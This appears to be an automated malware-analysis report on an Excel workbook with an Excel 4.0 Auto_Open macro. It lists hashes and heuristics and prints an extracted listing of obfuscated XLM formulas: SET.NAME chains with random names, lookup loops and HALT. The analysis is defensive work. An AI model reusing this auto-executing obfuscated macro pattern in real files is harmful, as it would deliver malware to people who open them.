Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 689eb31a496de756…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:26 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 2828f7717638076c93b2bc757b6a1fcb SHA-1: 1030921501a1fb690479e248281ccbef6419fd6f SHA-256: 689eb31a496de75655f3783a884f1b298351ae9af6f565004b7110463978385b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6562 bytes
SHA-256: 3c4feeaa2a23f9ec7922467f6454f82435ec5e6d8c94482dba95083760681177
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IYl
' 0018     27 LABEL : Cell Value, String Constant - aEsDPLrxXfUI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H150 
' 0018     23 LABEL : Cell Value, String Constant - CnvFvAxL len=0 
' 0018     21 LABEL : Cell Value, String Constant - dQAwce len=0 
' 0018     21 LABEL : Cell Value, String Constant - EZqLcF len=0 
' 0018     26 LABEL : Cell Value, String Constant - HduwgfBkgRf len=0 
' 0018     23 LABEL : Cell Value, String Constant - HsiLNUey len=0 
' 0018     27 LABEL : Cell Value, String Constant - JzztWmXFeUpt len=0 
' 0018     22 LABEL : Cell Value, String Constant - lCRozSx len=0 
' 0018     25 LABEL : Cell Value, String Constant - nrzcxXyNwx len=0 
' 0018     26 LABEL : Cell Value, String Constant - oXTybqWVYEb len=0 
' 0018     26 LABEL : Cell Value, String Constant - qUWvfSLJrBr len=0 
' 0018     26 LABEL : Cell Value, String Constant - rnuYWTmYQCx len=0 
' 0018     22 LABEL : Cell Value, String Constant - shFkGBE len=0 
' 0018     20 LABEL : Cell Value, String Constant - tdDkc len=0 
' 0018     21 LABEL : Cell Value, String Constant - TKKSCb len=0 
' 0018     27 LABEL : Cell Value, String Constant - UBqGylUekGAU len=0 
' 0018     23 LABEL : Cell Value, String Constant - vEJwmFQu len=0 
' 0018     21 LABEL : Cell Value, String Constant - WyBYwO len=0 
' 0018     21 LABEL : Cell Value, String Constant - yOIWGr len=0 
' 0018     27 LABEL : Cell Value, String Constant - ytzXLHdOLgQW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IYl,R52,"",-569.00000000000000000000
'  IYl,H53,"SET.NAME("dQAwce",0+VALUE("0"))",""
'  IYl,R53,"",-502.00000000000000000000
'  IYl,R54,"",208.00000000000000000000
'  IYl,R55,"",465.00000000000000000000
'  IYl,H56,"SET.NAME("shFkGBE",dQAwce)",""
'  IYl,R56,"",148.00000000000000000000
'  IYl,R57,"",-158.00000000000000000000
'  IYl,H59,"SET.NAME("rnuYWTmYQCx",dQAwce)",""
'  IYl,H62,"SET.NAME("TKKSCb",COUNTA(JzztWmXFeUpt))",""
'  IYl,H64,"SET.NAME("tdDkc",COUNTA(UBqGylUekGAU))",""
'  IYl,H69,[],""
'  IYl,H72,"SET.NAME("aEsDPLrxXfUI","")",""
'  IYl,H76,"shFkGBE",""
'  IYl,H80,"SET.NAME("HsiLNUey",HLOOKUP("*",JzztWmXFeUpt,shFkGBE,FALSE))",""
'  IYl,H82,"lCRozSx",""
'  IYl,H87,"SET.NAME("WyBYwO",dQAwce)",""
'  IYl,H90,[],""
'  IYl,H95,"WyBYwO",""
'  IYl,H99,"ytzXLHdOLgQW",""
'  IYl,H104,"vEJwmFQu",""
'  IYl,H107,"CnvFvAxL",""
'  IYl,H112,"SET.NAME("nrzcxXyNwx",VALUE(HLOOKUP("*",UBqGylUekGAU,CnvFvAxL,FALSE)))",""
'  IYl,H116,"HduwgfBkgRf",""
'  IYl,H119,"aEsDPLrxXfUI",""
'  IYl,H124,"rnuYWTmYQCx",""
'  IYl,H127,NEXT(),""
'  IYl,H132,"EZqLcF",""
'  IYl,H136,[],""
'  IYl,H138,"yOIWGr",""
'  IYl,H141,NEXT(),""
'  IYl,H145,RETURN(),""
'  IYl,H178,"SET.NAME("qUWvfSLJrBr",H53)",""
'  IYl,H181,"JzztWmXFeUpt",""
'  IYl,H183,"SET.NAME("UBqGylUekGAU",R83C13)",""
'  IYl,H187,"SET.NAME("yOIWGr",196)",""
'  IYl,H190,"SET.NAME("oXTybqWVYEb",8)",""
'  IYl,H195,qUWvfSLJrBr(),""
'  IYl,H196,HALT(),""

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